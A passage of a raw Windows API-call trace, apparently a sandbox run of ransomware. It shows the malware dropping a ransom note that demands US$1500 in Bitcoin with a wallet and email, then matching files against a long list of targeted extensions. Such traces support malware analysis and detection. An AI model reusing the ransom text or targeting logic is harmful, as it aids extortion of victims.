(pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\*.*") returned="*.*" [0124.857] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\" [0124.858] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\") returned="" [0124.858] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\HOW TO DECRYPT FILES.txt" [0124.858] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\xamlbuildtask\\fc28b565eb446da53e3e3a4448212913\\how to decrypt files.txt")) returned 0xffffffff [0124.858] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\xamlbuildtask\\fc28b565eb446da53e3e3a4448212913\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.863] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.863] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0124.866] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.867] CloseHandle (hObject=0x90) returned 1 [0124.867] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\", lpString2="XamlBuildTask.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll" [0124.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.ems") returned 0 [0124.867] lstrlenA (lpString="*.ems") returned 5 [0124.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.db") returned 0 [0124.867] lstrlenA (lpString="*.db") returned 4 [0124.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.dbf") returned 0 [0124.867] lstrlenA (lpString="*.dbf") returned 5 [0124.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.myox") returned 0 [0124.867] lstrlenA (lpString="*.myox") returned 6 [0124.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.myo") returned 0 [0124.867] lstrlenA (lpString="*.myo") returned 5 [0124.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qbw") returned 0 [0124.867] lstrlenA (lpString="*.qbw") returned 5 [0124.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qbb") returned 0 [0124.868] lstrlenA (lpString="*.qbb") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qbm") returned 0 [0124.868] lstrlenA (lpString="*.qbm") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qbo") returned 0 [0124.868] lstrlenA (lpString="*.qbo") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qbx") returned 0 [0124.868] lstrlenA (lpString="*.qbx") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qba") returned 0 [0124.868] lstrlenA (lpString="*.qba") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qby") returned 0 [0124.868] lstrlenA (lpString="*.qby") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qbj") returned 0 [0124.868] lstrlenA (lpString="*.qbj") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.ofx") returned 0 [0124.868] lstrlenA (lpString="*.ofx") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.qif") returned 0 [0124.868] lstrlenA (lpString="*.qif") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.mye") returned 0 [0124.868] lstrlenA (lpString="*.mye") returned 5 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.mbox") returned 0 [0124.868] lstrlenA (lpString="*.mbox") returned 6 [0124.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.eml") returned 0 [0124.869] lstrlenA (lpString="*.eml") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.pst") returned 0 [0124.869] lstrlenA (lpString="*.pst") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.ost") returned 0 [0124.869] lstrlenA (lpString="*.ost") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.idx") returned 0 [0124.869] lstrlenA (lpString="*.idx") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.dbx") returned 0 [0124.869] lstrlenA (lpString="*.dbx") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.sql") returned 0 [0124.869] lstrlenA (lpString="*.sql") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.mdb") returned 0 [0124.869] lstrlenA (lpString="*.mdb") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.fdb") returned 0 [0124.869] lstrlenA (lpString="*.fdb") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.wab") returned 0 [0124.869] lstrlenA (lpString="*.wab") returned 5 [0124.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.dat") returned 0 [0124.870] lstrlenA (lpString="*.dat") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.txt") returned 0 [0124.870] lstrlenA (lpString="*.txt") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.jpeg") returned 0 [0124.870] lstrlenA (lpString="*.jpeg") returned 6 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.jpg") returned 0 [0124.870] lstrlenA (lpString="*.jpg") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.png") returned 0 [0124.870] lstrlenA (lpString="*.png") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.php") returned 0 [0124.870] lstrlenA (lpString="*.php") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.cs") returned 0 [0124.870] lstrlenA (lpString="*.cs") returned 4 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.cpp") returned 0 [0124.870] lstrlenA (lpString="*.cpp") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.rar") returned 0 [0124.870] lstrlenA (lpString="*.rar") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.zip") returned 0 [0124.870] lstrlenA (lpString="*.zip") returned 5 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.html") returned 0 [0124.870] lstrlenA (lpString="*.html") returned 6 [0124.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.htm") returned 0 [0124.871] lstrlenA (lpString="*.htm") returned 5 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.xlsx") returned 0 [0124.871] lstrlenA (lpString="*.xlsx") returned 6 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.xls") returned 0 [0124.871] lstrlenA (lpString="*.xls") returned 5 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.mp4") returned 0 [0124.871] lstrlenA (lpString="*.mp4") returned 5 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.ppt") returned 0 [0124.871] lstrlenA (lpString="*.ppt") returned 5 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.pptx") returned 0 [0124.871] lstrlenA (lpString="*.pptx") returned 6 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.doc") returned 0 [0124.871] lstrlenA (lpString="*.doc") returned 5 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.dot") returned 0 [0124.871] lstrlenA (lpString="*.dot") returned 5 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.docx") returned 0 [0124.871] lstrlenA (lpString="*.docx") returned 6 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.7z") returned 0 [0124.871] lstrlenA (lpString="*.7z") returned 4 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.tar") returned 0 [0124.871] lstrlenA (lpString="*.tar") returned 5 [0124.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.bz2") returned 0 [0124.872] lstrlenA (lpString="*.bz2") returned 5 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.gz") returned 0 [0124.872] lstrlenA (lpString="*.gz") returned 4 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.mkv") returned 0 [0124.872] lstrlenA (lpString="*.mkv") returned 5 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.eml") returned 0 [0124.872] lstrlenA (lpString="*.eml") returned 5 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.msg") returned 0 [0124.872] lstrlenA (lpString="*.msg") returned 5 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.edb") returned 0 [0124.872] lstrlenA (lpString="*.edb") returned 5 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.accdb") returned 0 [0124.872] lstrlenA (lpString="*.accdb") returned 7 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.odb") returned 0 [0124.872] lstrlenA (lpString="*.odb") returned 5 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.java") returned 0 [0124.872] lstrlenA (lpString="*.java") returned 6 [0124.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.asm") returned 0 [0124.872] lstrlenA (lpString="*.asm") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.pfx") returned 0 [0124.873] lstrlenA (lpString="*.pfx") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.pem") returned 0 [0124.873] lstrlenA (lpString="*.pem") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.p12") returned 0 [0124.873] lstrlenA (lpString="*.p12") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.gpg") returned 0 [0124.873] lstrlenA (lpString="*.gpg") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.vsd") returned 0 [0124.873] lstrlenA (lpString="*.vsd") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.odg") returned 0 [0124.873] lstrlenA (lpString="*.odg") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.raw") returned 0 [0124.873] lstrlenA (lpString="*.raw") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.nef") returned 0 [0124.873] lstrlenA (lpString="*.nef") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.svg") returned 0 [0124.873] lstrlenA (lpString="*.svg") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.psd") returned 0 [0124.873] lstrlenA (lpString="*.psd") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.vmx") returned 0 [0124.873] lstrlenA (lpString="*.vmx") returned 5 [0124.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.vmdk") returned 0 [0124.874] lstrlenA (lpString="*.vmdk") returned 6 [0124.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll", pszSpec="*.vdi") returned 0 [0124.874] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x0, cFileName="XamlBuildTask.ni.dll.aux", cAlternateFileName="XAMLBU~1.AUX")) returned 1 [0124.874] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.874] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XamlBuildTask.ni.dll.aux") returned -1 [0124.874] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XamlBuildTask.ni.dll.aux") returned -1 [0124.874] lstrcmpiA (lpString1="", lpString2="XamlBuildTask.ni.dll.aux") returned -1 [0124.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll") returned="XamlBuildTask.ni.dll" [0124.874] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\" [0124.874] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\") returned="" [0124.874] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\HOW TO DECRYPT FILES.txt" [0124.874] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\xamlbuildtask\\fc28b565eb446da53e3e3a4448212913\\how to decrypt files.txt")) returned 0x20 [0124.875] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\", lpString2="XamlBuildTask.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll.aux" [0124.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\XamlBuildTask.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.875] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x0, cFileName="XamlBuildTask.ni.dll.aux", cAlternateFileName="XAMLBU~1.AUX")) returned 0 [0124.875] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.875] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fc28b565eb446da53e3e3a4448212913", cAlternateFileName="FC28B5~1")) returned 0 [0124.875] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.875] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, 